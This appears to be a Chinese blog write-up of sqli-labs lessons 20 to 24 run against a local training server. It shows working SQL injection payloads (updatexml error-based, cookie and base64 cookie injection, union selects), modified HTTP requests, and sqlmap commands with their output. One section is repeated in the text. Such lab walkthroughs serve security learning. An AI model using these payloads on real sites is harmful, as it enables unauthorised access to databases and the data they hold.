使用updatexml

1' , updatexml(1, concat(0x2a, (select database()), 0x2a), 1))#
XPATH syntax error: 'security*'

也可以sqlmap

测试了下,发现不行,不知哪里出问题了

Less-20

这个代码太长,用中文写下逻辑

如果cookie中无uname时
	如果POST中有uname和passwd时
		checkinput(uname和passwd)
		setcookie()-->uname=$cookee
		mysql_error()
	否则
		mysql_error()
否则
	如果POST中submit空的
		$cookee = $_COOKIE['uname']
		$result = mysql_query($sql)   #此处可注入
		如果$result空
			mysql_error()
		$row = mysql_fetch_array($result)
		如果$row有内容
			输出username和password
		否则
			输出失败
	否则
		setcookie('uname',$row1[username])

整理好逻辑发现

当满足Cookie中有uname且POST中Submit为空时,可进行sql注入

故抓包改内容:

原内容

POST /sqli-labs-master/Less-20/ HTTP/1.1
Host: 192.168.182.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://192.168.182.1
Connection: keep-alive
Referer: 1' , updatexml(1, concat(0x2a, (select database()), 0x2a), 1))#
Cookie: PHPSESSID=bf3833e2bd1076fbbf2cfe5ae3531ff2
Upgrade-Insecure-Requests: 1

uname=Dumb&passwd=Dumb&submit=Submit

在Cookie添加uname并且去掉POST中submit后:

POST /sqli-labs-master/Less-20/ HTTP/1.1
Host: 192.168.182.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://192.168.182.1
Connection: keep-alive
Referer: 1' , updatexml(1, concat(0x2a, (select database()), 0x2a), 1))#
Cookie: PHPSESSID=bf3833e2bd1076fbbf2cfe5ae3531ff2;uname=Dumb
Upgrade-Insecure-Requests: 1

uname=Dumb&passwd=Dumb

提交,成功显示:

YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
YOUR IP ADDRESS IS : 192.168.182.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = Dumb and expires: Mon 30 Aug 2021 - 11:29:26
Your Login name:Dumb
Your Password:Dumb
Your ID:1

修改uname信息为:

-1' union select 1,2,database()#

显示为:

YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
YOUR IP ADDRESS IS : 192.168.182.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = -1' union select 1,2,database()# and expires: Mon 30 Aug 2021 - 11:31:03
Your Login name:2
Your Password:security
Your ID:1

成功,此为cookie注入

使用sqlmap

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-20/" --data "uname=&passwd=" --cookie "uname=Dumb" --level 2 --batch
---
Parameter: uname (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: uname=Dumb' AND 9816=9816 AND 'Rpwy'='Rpwy

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uname=Dumb' AND GTID_SUBSET(CONCAT(0x7178786a71,(SELECT (ELT(8938=8938,1))),0x7170766b71),8938) AND 'NqEm'='NqEm

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=Dumb' AND (SELECT 2370 FROM (SELECT(SLEEP(5)))WHTk) AND 'ghLM'='ghLM

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: uname=-2589' UNION ALL SELECT NULL,NULL,CONCAT(0x7178786a71,0x4e4e4c7353586e72556b667a7249646e6e706e755a794a67616c7453714e52416f646c4d55674670,0x7170766b71)-- -

Less-21

和Less-20差不多,也是cookie注入,不过cookie处的uname参数需要先base_encode编码,因为php那边处理会解码:

-1') union select 1,2,database()#的base_encode

为:

LTEnKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

放在cookie的uname参数中(记得POST中submit参数去掉)

结果:

YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
YOUR IP ADDRESS IS : 192.168.182.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = LTEnKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj and expires: Mon 30 Aug 2021 - 14:23:07
Your Login name:2
Your Password:security
Your ID:1

Less-22

这一关也是cookie注入

但是是双引号注入

Less-23

第23关,回归id注入吗?哈哈

尝试了手工,发现不行,应该是进行了字符串处理

尝试sqlmap

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-23/?id=1" --batch --union-cols 1-5

成功显示

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 7634=7634 AND 'caaP'='caaP

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b707171,(SELECT (ELT(3051=3051,1))),0x7176766a71),3051) AND 'qDVU'='qDVU

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1977 FROM (SELECT(SLEEP(5)))sJKO) AND 'EKPu'='EKPu
---
[15:12:04] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.2.17
back-end DBMS: MySQL >= 5.6
[15:12:04] [INFO] fetching current database
[15:12:04] [INFO] retrieved: 'security'
current database: 'security'
[15:12:04] [INFO] fetching tables for database: 'security'
[15:12:04] [INFO] retrieved: 'emails'
[15:12:04] [INFO] retrieved: 'referers'
[15:12:04] [INFO] retrieved: 'uagents'
[15:12:04] [INFO] retrieved: 'users'
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

手工注入:

?id=-1' union select 1,database(),3 and '1'='1
YOUR COOKIE : uname = LTEnKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj and expires: Mon 30 Aug 2021 - 14:23:07
Your Login name:2
Your Password:security
Your ID:1

Less-22

这一关也是cookie注入

但是是双引号注入

Less-23

第23关,回归id注入吗?哈哈

尝试了手工,发现不行,应该是进行了字符串处理

尝试sqlmap

python sqlmap.py -u "http://192.168.182.1/sqli-labs-master/Less-23/?id=1" --batch --union-cols 1-5

成功显示

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 7634=7634 AND 'caaP'='caaP

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b707171,(SELECT (ELT(3051=3051,1))),0x7176766a71),3051) AND 'qDVU'='qDVU

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1977 FROM (SELECT(SLEEP(5)))sJKO) AND 'EKPu'='EKPu
---
[15:12:04] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.2.17
back-end DBMS: MySQL >= 5.6
[15:12:04] [INFO] fetching current database
[15:12:04] [INFO] retrieved: 'security'
current database: 'security'
[15:12:04] [INFO] fetching tables for database: 'security'
[15:12:04] [INFO] retrieved: 'emails'
[15:12:04] [INFO] retrieved: 'referers'
[15:12:04] [INFO] retrieved: 'uagents'
[15:12:04] [INFO] retrieved: 'users'
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

手工注入:

?id=-1' union select 1,database(),3 and '1'='1

less-24

累了,累了,以后再继续

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值